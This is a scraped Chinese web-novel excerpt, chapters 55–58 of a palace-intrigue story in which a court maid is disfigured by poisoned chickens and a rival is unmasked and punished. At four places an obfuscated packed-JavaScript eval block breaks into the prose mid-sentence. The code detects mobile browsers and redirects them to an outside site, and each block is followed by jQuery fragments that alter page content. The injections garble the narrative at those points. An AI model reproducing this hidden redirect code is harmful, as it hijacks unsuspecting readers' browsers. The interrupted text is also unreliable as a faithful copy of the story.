秦惜音不敢挑战在脸上动针线,便说道:“横竖都会留疤,那就不缝合了,还少受一茬罪……” “你想好了?” “嗯。” “好吧,这瓶药你拿去,每天敷在伤口处三次。” “好,谢谢您了。” 秦惜音接过了伤药,藏在怀里。 而女医在观察秦惜音的情况,也没有立即离开。 这里的动静惊动了附近的齐尚食,她走了过来,询问情况。 松月简单说了一下事情的经过。 齐尚食皱眉道:“怎么会这样?这几只鸡是谁养的?怎么会突然发狂,攻击人?” 一个女史回答道:“尚食大人,这几只鸡是司籍司的黄莺养的,一直放在菜园子那儿,平时从不攻击人,不知道今天是怎么了。” 齐尚食道:“怎么还牵扯到司籍司了……那就要请尚仪局的两位尚仪一起定夺了。” 司籍司是尚仪局的下属部门,而齐尚食是尚食局的最高长官,两个局属于同级关系。所以,这件事齐尚食一人审不了。 秦惜音听到这话,也吓了一跳。 攻击自己的鸡,竟然就是黄莺养的那几只? 那这件事会跟黄莺有关吗? 可是,黄莺为什么要这样做?这种事也不是她的风格。 而且,黄莺是用什么方法控制这几只鸡的? 鸡并不像狗那样好训练。 齐尚食又问秦惜音:“你是哪个部门的?” 秦惜音:“属下是司籍司的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751581|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你是司籍司的,黄莺也是……” 齐尚食沉思了一会,说道:“你先回自己房间休息,你们部门的午饭,我让别人送过去。还有,你回去之后,让司籍司的所有人都不要乱走。我先去找两位尚仪,看她们谁有空处理这件事。” 秦惜音道:“是。” 松月要继续做饭,走不开。她让两位女史护送秦惜音回去。 秦惜音回到自己的宿舍后,屋子里有好几位女史都在,包括黄莺、桑落、连云等。 有好几个人凑了上来,询问秦惜音是怎么回事,秦惜音如实相告。 这时,黄莺高声说道:“你什么意思?你是说我的鸡把你抓成这样?” 秦惜音道:“黄莺姐姐,是尚食局的人说,那几只发狂的鸡是你的。不过,母鸡伤人,也未必会怪到你头上,你先不要担心。” “我有什么好担心的,我什么都不知道。总之,一会上头问起来,你别怪在我头上。那几只鸡,我自己都好几天没去看了,不知道它们到底怎么了。我还请你吃过鸡蛋呢,怎么可能突然让那几只鸡攻击你?” “黄莺姐姐放心,如果您是清白的,没人能诬陷你。还有,齐尚食传话了,说让司籍司的人都别离开,等候长官们到来。” 众女史们没什么异议,都坐回了自己的床位上。 这时,荆掌籍和她表妹玉秀从窗外经过。 秦惜音叫住了她们,说了刚才的事,还说让她们暂时待在这里。 玉秀见到秦惜音的脸,露出幸灾乐祸的表情。 荆掌籍倒是淡淡的,看不出什么心思。 玉秀说道:“你凭什么不让我们走动?我是你的前辈,荆掌籍是你的上司。你管起我们来了?” 秦惜音道:“属下并不敢管荆掌籍,但此事是齐尚食的吩咐。” 玉秀道:“齐尚食虽是五品官,也管不到我们司籍司,我们凭什么听她的?荆掌籍,咱们走吧。” 秦惜音有些着急,道:“你们究竟有什么急事,一定要现在离开?” 玉秀道:“我们要给瑾妃娘娘送几本书,耽误了差事,你承担得起吗?” 秦惜音看玉秀确实捧着一个托盘,托盘上放着几本书,也不敢阻拦,只好让她们离开了。 没过一会,齐尚食就和谢尚仪一起来了,身后还跟着一群下属,黄典籍也在其中。 有一个女史手上抓着一个麻袋,麻袋里面有动物在乱蹿,应该就是刚才那几只鸡。 谢尚仪就是尚仪局的最高长官之一,另一位是范尚仪。 看来,今天只有谢尚仪有空。 谢尚仪就是当初考核秦惜音的女官之一,也亲自给秦惜音批过卷子,所以认识秦惜音。 她见秦惜音脸上的伤口如此严重,露出遗憾和心疼的神情。 接着,她让宿舍内所有人都出来。 然后,谢尚仪沉着脸看向黄莺:“黄莺,这是怎么回事?从实招来。” 黄莺跪下道:“我不知道啊……请尚仪大人明察……我刚才根本就没出门,有好几个女史可以作证。” 旁边有几个女史也帮腔,说黄莺从刚才到现在确实没出去。 谢尚仪吩咐人把装那几只鸡的袋子打开一个小口,说道:“黄莺,你上前看看,这几只鸡是不是你的?” 55. 羽中黄线 黄莺走上前,看了一眼,说道:“看着像……但鸡都长得差不多,兴许是别人的。” 这时,尚食局的一位女史道:“这几只鸡就是你的。你养的是凉山崖鹰鸡,翅膀偏黑;宫里供给主子们吃的鸡是苏禽黄鸡,毛色是浅黄色的,很好区分。” 黄莺道:“但是,这几只鸡上面也没写我的名字呀……兴许是别人偷偷拿进宫,陷害我的。” 那位女史道:“你的这几只鸡,平时我照顾得比较多,所以认识。这就是你的,没必要抵赖了。” “就算是我的,可我也没让它们攻击惜音。既然它们是你照顾比较多,那应该是听你的话才对。我想,这件事可能跟你有关。” 那位女史叫采莲,她似乎被气笑了,说道:“这跟我有什么关系?我都不认识惜音,为何要害她?而且,就算要害她,我又是怎么控制这几只鸡呢?有这种方法吗?” 黄莺道:“既然你控制不了,那我也控制不了啊。这事跟我没关系,依我看,把这几只鸡打死算了。” 谢尚仪和齐尚食也被气笑了,似乎不明白黄莺怎么会说出这种话。 谢尚仪道:“如果要控制几只鸡去伤人,黄莺应该没这个本事。这件事可能是这几只鸡突然发狂所致。但是,惜音毕竟受了伤,不能无人担责。黄莺,既然这些鸡是你的,你又拿不出有力的证据,那就罚你杖责二十吧。” 黄典籍出来求情:“尚仪大人,黄莺身子弱,可否从轻处罚?” 谢尚仪道:“杖责二十已经是很轻的处罚了,我没有把她逐出宫去,已经是看在你的面子上。按理说,她私自在尚食局养鸡,本就是违反宫规的行为。尚食局是皇家的,不是她的。这是小节,本官可以不计较。 但惜音被她的鸡害得再也没法当女官,就是大事了。” 黄典籍闻言,也知道谢尚仪所说有理,也不再求情,只是用担忧的眼神看了黄莺一眼,又向秦惜音投来愧疚和心疼的眼神。 看起来,黄典籍好像很为秦惜音的遭遇难过。 而秦惜音的心也沉入了谷底。 她知道宫中有条规矩,凡破相者不可为女官。 但是,她刚才一直心存希冀,希望长官们看在自己博学多才的份上,再给个机会。 但刚才谢尚仪说,秦惜音被黄莺害得再也没法当女官,这已经是一锤定音了。 谢尚仪既然这么说,就没有考虑过破格让秦惜音继续当女官的可能。 所以,秦惜音一辈子都只能是个女史了。 她心里很懵,不知道该如何是好。 这时,有几个太监上前,把黄莺按在长凳子上,准备实行杖责。 但是,秦惜音觉得这事没那么简单,脱口而出道:“请等一下!” 谢尚仪问道:“惜音,莫非你也要替黄莺求情?” 秦惜音道:“不是……属下只是觉得,此事有些蹊跷,这些鸡不会无故发狂,说不定另有主谋。请容属下查证一下。” 谢尚仪道:“你想怎么查?” 秦惜音走到了尚食局众人面前,问道:“请问尚食局的各位姐姐,有没有谁见到这几只鸡发狂之前的场景?当时,这几只鸡是从西边的墙那里飞过来的。而西边正是菜园子的所在地。当时菜园子里有人吗?” 在菜园子工作的女史采莲道:“没有,当时管理菜园子的几个人都吃饭去了,那些鸡在我们离开时还好好的,不知道为何会发狂。” “照这么说,也许是有人趁着你们离开,动了什么手脚,让鸡发狂的。你们可有见到什么可疑的人?” “没有,当时我们正在吃饭,吃到一半时,就听见你在院子里的叫声。于是,好多人都放下碗筷,跑过去救你了。我没有回菜园子那边,所以也没见到可疑的人。” 其他几个在菜园子工作的女史,也是这么说。 谢尚仪道:“既然如此,看来是不会有什么结果了。” 秦惜音道:“等等……请问司籍司的人,刚才有谁出去过?尤其是跟我前后脚走的。” 有几个司籍司的女史不太高兴,说道:“惜音,你什么意思?你是觉得害你的人就是司籍司的人?” “这六尚局这么多人,你凭什么在司籍司内部找主谋?难道我们还会害你不成?” “依我看,就是管理菜园子的这些女史对鸡做了什么,让这些鸡失去了常性,发狂啄人。” 这时,尚食局的女史们不乐意了,管理菜园子的采莲率先说道:“你什么意思?你亲眼看见我把鸡放出去害人了?我要是有操控鸡鸭的本事,早就成仙了,用得着在这里?” 见争吵愈演愈烈,秦惜音赶紧说道:“各位姐姐,我不是要故意怀疑司籍司内部的人。只是我想着,我刚来不久,对我比较熟悉的,也就只有司籍司的同僚了。 也许是我什么时候得罪了某个人,她想伺机报复,这个可能性比较大。所以,我才先问问司籍司刚才有谁出去过。我并不是说,刚才出去过的都有嫌疑。” 这时,司籍司有几个女史说道:“我刚才确实出去过,但我只是出去闲逛,我可没害你。” “我也出去过,见了尚服局的一位小姐妹,我可以把那位小姐妹叫来作证的。” 一共有四个司籍司的女史承认自己刚才出去过,包括桑落在内。不过,她们都有合理的解释。 而剩下的几名女史,刚才一直在寝室里,可以互相作证。包括黄莺,她也没出去。 秦惜音觉得有些难办,不知道该怀疑谁。 这时,她突然想到,既然从人身上难以突破,倒不如从鸡身上找突破口。 因此,她说道:“我想到一个法子。也许这些鸡是吃了什么不恰当的东西,才发狂的。只需搜集鸡的粪便,请太医看看里面的成分,就知道了。刚好这几只鸡一直被关在麻袋里,现在麻袋里应该有一些鸡粪的。” 谢尚仪点头道:“这倒是个办法。来人,看看麻袋里面。” 这时,麻袋里的鸡已经停止了挣扎,好像是扑腾累了,安静了下来;又像是药劲过去了,所以恢复了正常。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751582|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 采莲等几个尚食局的女史把里面的鸡抓了出来,果然看见麻袋下面有一些粪便。 尚食局虽有女医,但她们的医术并不算高,只能医治一些常见的疾病。如果要检验鸡粪,看其中有没有问题,还得去请太医。 因此,谢尚仪派了一名女史去太医院,随便请个太医过来。 在等待的时间里,大部分人都没说话。 这时,桑落说道:“如果这些鸡真的被人动过手脚,也许从鸡的身上也可以发现端倪。我可以把鸡拿起来看看吗?” 齐尚食和谢尚仪都点了点头,桑落便抓了一只鸡观察起来。 这鸡已经不扑腾了,所以没什么危险。 秦惜音没想到,桑落会主动帮自己。她有些疑惑,也有几分感动。 她也想抓一只鸡来看看,但经过刚才的事,她有点怕鸡,不敢靠近。 因此,她只能看着桑落,期待桑落能找到什么线索。 过了一会,桑落说道:“我在鸡身上发现了这个……” 她从鸡的羽毛里拿出一根米黄色的线,说道:“这根线看起来是编麻袋用的线,刚才鸡在麻袋里扑腾,身上有麻袋的线条,是很正常的。但是,装这几只鸡的麻袋是深棕色的,而这根线条却是米黄色的。 这只有一种可能,就是这几只鸡之前曾经被装在一个米黄色的麻袋里。我想,如果再仔细找找,应该能在这几只鸡身上发现更多的线,而且两种颜色都有。” 齐尚食对身边的下属说道:“你们都去找找鸡身上有没有线条,找得仔细点。” 下属们分别在几只鸡身上找了起来。 这几只鸡见自己被好几个人围住,有些慌张,但并没有反抗。足以见得,它们平时性情温顺,不会攻击人。 过了一会,这些下属从几只鸡身上找到了二十多根线条,其中大部分是深棕色的,也有一些是米黄色的。 齐尚食道:“看来,桑落的猜想是正确的。有人先用米黄色的麻袋把几只鸡装起来,想办法让鸡发狂,然后再把鸡放飞,让它们飞过墙,攻击惜音。成功后,她立刻逃走,并把那个米黄色的麻袋也带走了。” 谢尚仪点头道:“我也赞同……我们一路过来,都没有看见那个米黄色的麻袋。这说明,主谋应该把它藏了起来,以免露出破绽。既然这样,就应该先搜搜众人的屋子,看那个米黄色的麻袋究竟在哪里。” 齐尚食:“嗯,那你搜你这边,我搜我那边?” 谢尚仪道:“咱们先合力把司籍司搜一下。我总感觉,想害惜音的人,应该在司籍司内部。” “也好。” 于是,齐尚食、谢尚仪分别叫几个心腹把司籍司的屋子搜一遍。 她们先搜了女史们的寝室,没发现什么。 黄莺低声道:“看吧,我是清白的。” 接着,下属们又搜了几个女官们的房间。 这时,有个女史从荆双蝶的房中出来,手里拿着一个米黄色的麻袋,还有一包东西,不知道是什么。 56. 水落石出 她对齐尚食、谢尚仪道:“两位大人,我从荆掌籍的房中发现了这个米黄色的麻袋,还有这包鸡食。我闻了一下麻袋,确实有鸡的臭味,看来这只麻袋刚才装过鸡。” 谢尚仪皱眉:“荆掌籍?她人在哪里?” 秦惜音道:“刚才,荆掌籍带着玉秀去给瑾妃娘娘送书了,这会应该已经在回来的路上。” 谢尚仪派了一个人去找荆掌籍回来。 接着,众人面色都有些凝重。 没过一会,太医郁山青来了,问道:“尚仪大人,尚食大人,请问您二位找我有什么事?” 齐尚食道:“这里有一些鸡粪,麻烦你看一下,里面是不是有什么不恰当的东西。” 谢尚仪把那包鸡食也递给郁太医,道:“还有这些鸡食,也一并看看。” 郁太医仔细查验了一下,说道:“这些鸡食和鸡粪里,似乎都有几种会让动物发狂的毒药。动物如果吃下这些鸡食,可能会攻击人。不过,这些毒药能排出体外,所以鸡还活着。” 谢尚仪道:“果然如此……这几只鸡确实攻击人了。” 谢尚仪看向秦惜音,郁太医这才发现,秦惜音的脸被抓得破了相,大为震惊。 他走上前,对秦惜音道:“惜音姑娘,你这脸……是被鸡给抓的?” 秦惜音道:“没错。而且,我的头也被啄了好几下。” “我帮你看看。” 郁太医发现秦惜音的头部也有破皮出血的地方,就简单地处理了一下,并给了秦惜音一些外用的药。 秦惜音问道:“郁太医,可有能祛除疤痕的药?” “这种药有,但是效果并不大,适用于那些疤痕很浅的人。像姑娘脸上这样的伤,恐怕不是寻常的药能抹去的。” 秦惜音闻言,心中忧愁,但还是淡然地点了点头。 郁太医道:“祛疤的药膏,等我回太医院了找人送来,等你的伤口结痂后脱落了,就可以开始用。不过,关于效果,还是别抱太大希望。虽然这么说,但总要试试看,也不能直接就不用了。” “嗯,谢谢郁太医。” 过了一会,荆掌籍和玉秀也回来了,脸色很不好。大概去接她们的人,把事情经过大致讲了一下。 荆掌籍一回来,就来到谢尚仪身边,跪下道:“尚仪大人,惜音受伤一事,我真的不知道怎么回事。至于那个麻袋和那包鸡食,我也不知道怎么会出现在我屋子里。 尚仪大人知道,我从小就没干过粗活,也没接触过家禽。就算我突然想要害人,也不会想出这种方法,而是想另一个合乎我生活习惯的。 而且,就算我要抓这几只鸡,以我的身手,必定非常费力,搞得很狼狈,灰头土脸的。 但是,我如今衣饰整洁,身上、脸上、手上都没有任何尘土,发型也丝毫不乱,这哪里像是刚抓过鸡的样子? 我从今天早上起,穿的就是这身衣服,没有换过;梳的也是比较复杂的漆鬟髻,没有变过。如果我抓过鸡,头发可能会被鸡给抓乱的。请大人明察。” 谢尚仪也觉得荆掌籍言之有理。 她询问了在场的其他人,荆掌籍现在的衣服、发型是不是还跟早上的一样。 好多人都说是的。 谢尚仪道:“看来,你的嫌疑确实较小。但是,这个米黄色的麻袋和这包鸡食,怎么会出现在你的屋子里?有谁进过你屋子吗?” “这……属下不清楚。今天一大早,属下就在书房算账,没怎么回房。” 玉秀也说道:“这是真的,属下可以作证,属下今天早上一直跟荆掌籍在书房里。” 谢尚仪又问尚食局的人:“你们有没有看见荆掌籍来尚食局,尤其是去菜园子?” 尚食局的人都摇头。 谢尚仪对荆掌籍道:“你先起来吧。” 荆掌籍起来后,说道:“尚仪大人,必定是有人把麻袋和鸡食放进属下房间,陷害属下。这是一箭双雕之计,既害了惜音,又可以把属下拉下马。请尚仪大人彻查背后之人。” 谢尚仪点了点头:“此事越来越复杂了……如果主谋不是你,那到底是谁……” 这时,桑落说道:“尚仪大人,属下可以说话吗?” 谢尚仪点头:“你有什么话,就说吧。” 桑落道:“其实,抓鸡并不费事。大家刚才也看到了,这几只鸡在正常状态下,是很温顺的,不会攻击人。只需要把鸡食洒在麻袋里,那些鸡自然会钻进麻袋里的。 所以,刚才荆掌籍说,自己的衣服头发都没乱,所以她没有嫌疑,这个说法是站不住脚的。而且,玉秀虽然替荆掌籍作证,但她是荆掌籍的表妹,她说的话也不能尽信。” 荆掌籍盯着桑落,皱眉道:“桑落,你……你为何要诬陷我?平日里我没看出来,你倒有这本事。” 桑落后退了一步,显得有些害怕,说道:“荆掌籍恕罪,属下只是提出自己的见解,没有说真凶就是您的意思。惜音是我的朋友,她被伤成这样,我只想帮她找出真凶。” 荆掌籍冷笑道:“桑落,你好得很啊。这事是不是你做的?你还想嫁祸给我?” 桑落摇头道:“没有……我怎么敢呢……” 这时,一直站在一边的郁太医道:“如果有人抓过这几只鸡,而又来不及洗手的话,手上会留有鸡的臭味。不如让掌管菜园子的几位女史闻闻大家的手,看谁的手有臭味。” 齐尚食、谢尚仪都觉得这个方法不错。 从事发到现在只过去没多久,说不定主谋真的来不及洗手。 而菜园子里的女史们成天跟家禽打交道,对鸡的味道很熟悉,由她们来闻再好不过。 于是,齐尚食便让菜园子的几位女史闻一下在场之人的手。 但是,结果是,在场很多人手里都有鸡的气味,荆掌籍和玉秀的手反而没有。 齐尚食皱眉道:“这是为何?” 掌管菜园的采莲道:“大人,刚才您叫我们看看鸡身上有没有线条,在场好多人都一起把鸡按住,翻动鸡的羽毛。所以,手上有气味的人就很多。” 齐尚食这才想起来这事,有些为难,不知道该怎么办。 荆掌籍道:“现在,谁是主谋尚未可知,但我没有嫌疑,确实一定的。两位大人以为呢?” 齐尚食道:“你手上一点气味都没有,那应该没有嫌疑…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751583|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 这时,桑落又说:“这也不一定,也许荆掌籍回来之后马上洗手了,还抹了香膏,所以才没有鸡的气味。” 荆掌籍道:“桑落,你怎么回事,为什么非得把嫌疑往我身上引?你是不是想趁这个机会,把我拉下马?可你有没有想过,一旦我还在,以后你要怎么面对我?” 桑落面色不太好,没有再说话。 谢尚仪对荆掌籍道:“好了,哪有像你这样当众威胁人的?女官秉持公心,为国尽忠,哪有挟怨报复之理?” 荆掌籍赶紧说道:“属下失言了。” 这时,秦惜音道:“属下有一个想法。如果有人去菜园子里抓鸡,即便再小心,衣服、鞋子上也应该会有很多尘土。而且,这些鸡吃了有毒的食物后,就开始乱扑腾。如果这时候把它们从麻袋里放出来,那个主谋也难免会被误伤。 所以,只要从刚才这几个手里有气味的人里,找出那个身上、鞋子上有很多尘土,身上也有一些被鸡啄出来或是抓出来的伤痕的人,应该就是真正的主谋了。” 齐尚食点头道:“言之有理。刚才那几个手里有气味的人全部站成一排,接受检查。” 于是,这几个人都站好,等待检查,桑落也在其中。 因为刚才是桑落抓起一只鸡观察,才发现鸡身上有米黄色的线条。她手上有气味也很合理。 齐尚食、谢尚仪亲自检查这几个人,但发现她们的衣服、鞋子都还算干净。 谢尚仪道:“你们把袖子都掀上去,把胳膊露出来。” 这时,桑落却露出为难的表情。但她也没法反抗,只得把袖子给掀上去。 没想到,她的胳膊上竟有几个被鸡啄出来的伤口。 谢尚仪看见了桑落手上的伤口,问道:“这是怎么回事?” 桑落道:“刚才我抓了鸡查看,那只鸡啄了我几口。” 谢尚仪道:“是吗?” “没错……” 这时,秦惜音想到了什么。她走到桑落面前,把桑落的衣袖放了下来。 桑落有些惊讶,不知道秦惜音为什么这么做。 秦惜音淡淡说道:“桑落,你撒谎了。” 桑落有些慌张:“我哪里撒谎了?” “如果是你刚才被鸡啄了手臂,你的手臂都受伤流血了,衣服怎么会没破?而且,刚才你抓住那只鸡的时候,药劲分明已经过去了,那只鸡很温顺,不会啄人了。” “这……我……” 谢尚仪对桑落厉声道:“桑落,这是怎么回事?从实招来!” 桑落跪下道:“我……我不知道……” 这时,黄莺却说道:“我想起来了,桑落刚才出门了,而且回来之后,她还换了一身衣服!因为她换得很快,屋子里其他人都没注意。” 谢尚仪道:“去搜查桑落的衣柜。” 有个女史走进了寝室,打开桑落的衣柜,从里面找到一套脏了的衣裙,和一双满是泥土的鞋子。而且,那套衣服的袖口处,确实有被啄破的痕迹,还沾了血。 女史把找到的东西给谢尚仪和齐尚食看,谢尚仪把证物扔在桑落面前,道:“你还有什么好说的?” 57. 包藏祸心 桑落见事情败露,只得承认是她做的。 她想用这个计策,一下子害三个人:秦惜音、荆掌籍和黄莺。 黄莺养的鸡,啄伤了秦惜音,至少能让黄莺被问罪。如果运气好,秦惜音伤了脸,她就再也没法当女官了。 这样,秦惜音和黄莺都没有未来了。就连黄典籍,说不定也会被黄莺连累,被免官。 而桑落把米黄色的麻袋和有毒的鸡食放进荆掌籍房中,也是为了陷害荆掌籍。 如果黄莺没有受罚,或是没有被逐出去,桑落就把嫌疑往荆掌籍身上引。 毕竟,荆掌籍曾经为难秦惜音的事,很多人都知道。荆掌籍有害秦惜音的动机。 这样,说不定还能把荆掌籍拉下来。 那么,桑落自己升上去的可能性就更大了。 至于那包有毒的鸡食,是她想办法从宫外买来的。 今天中午,秦惜音去尚食局拿午饭,桑落也偷偷跟了上去。 不过,她去的却是菜园子,跟秦惜音只有一墙之隔。 她在米黄色的麻袋里洒满了有毒的鸡食,吸引那几只鸡进麻袋。 等鸡开始乱扑腾,她就知道毒药起效果了。于是,她打开麻袋,把疯了的鸡从墙的一边放到了另一边。 在这个过程中,她自己也被发狂的鸡啄了好几下。 见那些鸡开始攻击秦惜音,桑落赶紧把那个米黄色的麻袋折叠好,藏在身上,跑回司籍司,并把麻袋和剩下的鸡食都放进荆掌籍的房间。 她知道今天荆掌籍很忙,不会回房。所以,才定下这条计策。 而刚才她故意去抓鸡,找鸡身上的线头,一方面是为了把嫌疑往荆掌籍身上引,另一方面也是让自己手上出现鸡的臭味显得合理。 她猜到,可能会有人提出闻大家手上的味道来定真凶,所以提前想好了这一招。 听到桑落说出这一切,在场的人都惊了。 黄典籍感叹道:“桑落,你的心思……可真深啊。” 桑落面如死灰地说道:“可是,我还是败了。” 荆掌籍充上前去,打了桑落一巴掌,骂道:“你这贱.婢,不仅谋害同僚,还敢算计我?幸亏今日谢尚仪和齐尚食英明,发现了你的阴谋。否则,我和黄典籍都要被你害死!” 桑落嘴角出血,低着头不说话。 谢尚仪道:“桑落,你做出这样的事,宫中是留你不得了。本官判你杖责三十,流放岭南。” “是……” 桑落被按在凳子上,打了三十杖,在场众人都看着。 打到后来,很多人不忍看见鲜血淋漓的场面,都别过头去。 三十杖打完,桑落没有休息的时间,被拖了出去。 齐尚食、谢尚仪都安慰了秦惜音几句,然后就离开了。其他人也都四散了。 秦惜音回到自己的床位上,呆呆地坐着。 刚才,谢尚仪准她放三天假。这三天,她不需要做什么。 秦惜音觉得很迷茫,不知道以后的路该怎么走。 其他女史们在房间里来来去去的,有的对秦惜音投来同情的目光,也有的有些幸灾乐祸。 秦惜音决定睡一觉。一觉醒来,也许什么都没发生,她的脸还是好的…… 但是,她一觉睡到傍晚,照了照镜子,却发现自己的脸上分明有三道划痕。 一切都是真的,她再也没法当女官了。 其他女史们都在吃饭,秦惜音没什么胃口,把饭菜放在一边。 有几个女史劝道:“惜音,你好歹吃一点,不能不顾自己的身子啊。” “是啊,你吃得有营养,说不定脸上的伤口就长好了。” 秦惜音摇了摇头:“谢谢你们,我暂时不饿……” 这时,连云走了过来,把秦惜音的饭菜端走,说道:“你不吃我吃,我最近饭量大,吃饱了还能多干一点活。当女史有什么不好?如今的地位不是你自己求来的吗? 刚当女史没几天,你就惦记着升迁的事。见升迁无望,就意气消沉。我当了十年女史,也没怎么样啊。 就算当不了女官,地位也比宫女高,也挺不错了。在什么位置上就做什么事,别想些有的没的。” 秦惜音道:“连云姐姐,你说得没错……我应该先把女史当好,而不是遇到一点挫折,就连本职工作都不做了……” 说着,她把饭菜拿了回来,开始吃。 她还是没什么胃口,但她硬逼着自己吃下去。心情已经不好了,如果再不好好吃饭,就真的没力气干活了。 当一辈子女史又怎么样,跟之前当一个罪奴的时候相比,已经好太多了。 连云看着秦惜音吃饭的样子,冷笑道:“哼,还算有点出息。” 说着,她就离开了。 旁边的两个女史安慰道:“惜音,你别被连云吓到,她平时对人就是这个态度。但是,她其实挺善良的。” “听说,她刚当女史那会,因为长得好看,声音又很动听,有一次曾经引起了先帝的注意。先帝跟她聊了几句,对她印象不错。 结果第二天,她吃了好朋友送来的糕点,声音就被毁了,变得很难听。从那以后,先帝虽然又偶遇她几次,但都因为她的声音不好听了,对她也就没了兴趣。 这件事后,连云性情大变,再也没有吃过同僚给她的东西,也不再轻易相信别人。其实,她从来没想过要当先帝的妃嫔,当时先帝注意到她,也是偶然的。 但是,就因为先帝对她有几分赏识,她就落得这个下场,实在让人悲伤。” 秦惜音皱眉道:“原来是这样……怪不得她总是冷冰冰的……但是,她怎么会当十年的女史?难道这些年她都没有升迁的机会吗?” “当年,她被好朋友毁了嗓子之后,曾经请求女官们彻查此事,为她主持公道。但是,当年的女官们一个推一个的,没有人为她做主。有些女官劝她息事宁人,也有些女官恐吓她不要继续追究,否则小命不保。 于是,她对女官们的态度也开始变差,渐渐的得罪了大部分女官。女官们口口相传,都说这连云是个刺头,不用善待她,也不用提拔她。 所以,一直到现在,连云还是个女史。 本来,宫女到了一定年纪,想出宫就可以出宫,哪怕是女官、女史也不例外。如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751584|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果不想出宫,也可以一直留在宫里伺候。 不知道为什么,连云从来没提过要出宫,所以她一直待在司籍司里。” 秦惜音心中惨然,道:“她是不是没有家人了?” “这我们就不知道了。” 吃完饭后,秦惜音休息了一会。 自从当了女史,她还没这么轻松过。 过了一会,她决定去看望好友曲南蕊。 也不知道曲南蕊现在怎么样了…… 秦惜音来到芳颜宫,见这里有些杂乱,地很脏,枯枝落叶到处飘,看起来有些荒芜。 也不知道芳颜宫的宫人这么回事,庭院这么脏却不打扫。 秦惜音来到曲南蕊的宫殿,却发现里面没有伺候的人,曲南蕊一个人趴在桌子上,呆呆地看着窗外。 曲南蕊消瘦了很多,看起来很不开心。 秦惜音叫道:“娘娘……” 曲南蕊见到秦惜音,笑道:“惜音,你来了……不对,你的脸怎么回事?” “受了点小伤,不碍事。娘娘,怎么没人在这里伺候您?外面的庭院很脏,也没人打扫。” 曲南蕊蔫蔫地说道:“她们应该去玩了吧……我也不清楚。” 秦惜音有些生气:“娘娘,她们怎么敢这么怠慢您?您得拿出主子的威严来,好好管管她们。” “无所谓,我都失宠了,随她们去吧……” “失宠?怎么回事?” “之前你跟着使团出使荣国,不是把荣国的八皇子带回来做质子了吗?八皇子由杨昭仪抚养,可是,我有时候偶遇八皇子,发现他非常胆小,而且比来的那会更瘦弱了,身上还有被打的痕迹。 我就问他,是不是杨昭仪对他不好,他点了点头。 我有些同情他,就偷偷给他送过几次吃的,还给过他我亲手缝制的衣服鞋子。 后来,八皇子问我,他能不能到我宫里来。 我想着,如果我能抚养荣国质子,也算有功劳。皇上说不定会更看重我,对我好一点。 于是,我就答应了荣国八皇子,说有机会一定把他要过来。 没想到,我还没见到皇上,这件事就先被杨昭仪知道了。 杨昭仪把我叫过去,骂了一顿,还罚我打扫宫殿,甚至连宫女太监的房间,我也要打扫。那天,我一边打扫,杨昭仪宫里的宫人们在一边看热闹,我觉得难受极了。 后来,杨昭仪还为难过我几次,我都忍了下来。 我盼啊盼,终于盼到了皇上。我跟他说了之前的事,说我想抚养荣国八皇子,却遭到杨昭仪的为难。 可是,皇上生气了,他也骂我不知分寸。他说荣国八皇子虽然是质子,但也身份高贵,不是我能抚养的。我想跟杨昭仪争抚养权,不知安的什么心。 他罚我抄写宫规五十遍,我觉得很委屈,跟他吵了一架。 我本以为过几天他就会来找我,跟我和好。没想到……没想到自从那次吵架之后,他一直没来…… 原来,在他心里,我根本比不上杨昭仪……可是,我想抚养荣国八皇子有什么错?那孩子很可怜,吃不饱,穿不暖……” 58. 意外发现 秦惜音听得一阵揪心,同时又觉得曲南蕊太过天真了。 她劝解道:“娘娘,以您目前的身份,确实不适合抚养荣国质子。皇上本来把荣国质子交给杨昭仪抚养,说明他信任杨昭仪。 而您身为末等妃嫔,竟然要跟一个二品昭仪争夺质子抚养权,这落在皇上眼中,更像是您很有野心,不把高位妃嫔放在眼里,而且不够聪明,在地位还很低的时候就暴露了野心。 那么,皇上自然会对您产生误解和厌恶之情。” 